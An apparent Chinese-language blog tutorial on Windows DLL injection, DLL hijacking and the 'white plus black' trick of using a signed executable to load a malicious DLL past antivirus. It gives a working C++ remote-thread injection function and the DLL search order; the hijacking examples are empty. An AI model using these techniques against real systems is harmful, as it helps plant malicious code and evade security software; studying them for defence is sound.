DLL注入&&DLL劫持&&白加黑
DLL?
.dll,動態(tài)鏈接庫英文為DLL,是Dynamic Link Library的縮寫。DLL是一個包含可由多個程序,同時使用的代碼和數(shù)據(jù)的庫。
白話:說白了就像是一個封裝好的類庫,里面提供許多的函數(shù)供調(diào)用。
DLL注入
就是在指定的進程中注入我們的惡意DLL。
常規(guī)手法:
編寫惡意DLL => 創(chuàng)建遠程線程 =>?把線程函數(shù)設置為loadlibrary =>?參數(shù)為惡意DLL。
案例
void?Inject(int?pID,?char*?Path)?{HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);LPVOID pRetrunAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRetrunAddress, Path, strlen(Path) + 1, NULL);HMODULE hModule = LoadLibraryA("KERNEL32.DLL");LPTHREAD_START_ROUTINE ipStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, ipStartAddress, pRetrunAddress, 0, NULL);WaitForSingleObject(hThread, 2000);CloseHandle(hThread);CloseHandle(hProcess);}int main() {// 注入的DLL路徑,注意\使用\\表示const char* path = "E:\\CPPStudy\\DllStudy\\Debug\\DllStudy.dll";// 參數(shù)1:目標進程ID,參數(shù)2:注入的DLL路徑Inject(17732, (char*)path);return 0;}


通常如果我們不做清理工作的話注入的DLL會直至程序關閉才失效。
當然我們也可以手動卸載,方法差不多,如果是強制卸載的話略微有點麻煩。
DLL劫持
DLL劫持主要產(chǎn)生在DLL加載。說白了就是通過類似火絨劍的工具查看程序運行過程中加載的DLL,然后我們構造惡意DLL進行替換。
DLL加載順序
程序所在目錄。加載 DLL 時所在的當前目錄。系統(tǒng)目錄即 SYSTEM32 目錄。16位系統(tǒng)目錄即 SYSTEM 目錄。Windows目錄。PATH環(huán)境變量中列出的目錄
案例
原本程序

惡意DLL


白加黑
所謂的”白加黑”,籠統(tǒng)來說是”白exe”加”黑dll”,”白exe”是指帶有數(shù)字簽名的正常exe文件,那么”黑dll”當然是指包含惡意代碼 的dll文件。病毒借助那些帶數(shù)字簽名且在殺毒軟件白名單內(nèi)的exe程序去加載自己帶有惡意代碼的dll,便能獲得殺毒軟件主動防御的自動信任,從而成功 加載到系統(tǒng)中。(PS:網(wǎng)上偷的)
白加黑暫時沒有演示案例。。。。。
結語
如有錯誤之處,還請多多包涵,當然,歡迎指正。
評論
圖片
表情
